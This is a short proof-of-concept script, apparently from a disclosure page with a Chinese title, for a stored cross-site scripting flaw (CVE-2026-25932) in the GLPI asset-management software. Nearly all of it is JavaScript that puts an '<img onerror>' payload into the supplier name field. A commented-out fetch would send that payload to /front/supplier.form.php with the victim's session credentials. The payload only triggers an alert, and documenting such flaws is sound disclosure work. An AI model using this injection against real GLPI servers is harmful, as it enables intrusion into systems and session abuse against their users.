CVE-2026-25932 GLPI存储型XSS漏洞

/* * PoC for CVE-2026-25932 (Stored XSS in GLPI) * Description: Inject a script into the supplier field to demonstrate execution. */ // Malicious payload to be stored in the supplier name field var payload = '<img src=x onerror=alert(\'XSS-CVE-2026-25932\')>'; // Simulate a POST request to create or update a supplier // Endpoint usually is: /front/supplier.form.php var formData = { 'name': payload, // Injecting payload into the supplier name 'entities_id': '0', 'is_recursive': '1', 'add': 'Save' }; // Note: This requires a valid authenticated session cookie. // An attacker would send this via a crafted HTTP request. console.log('Simulating POST request with payload:', payload); // fetch('/front/supplier.form.php', { method: 'POST', body: new URLSearchParams(formData), credentials: 'include' });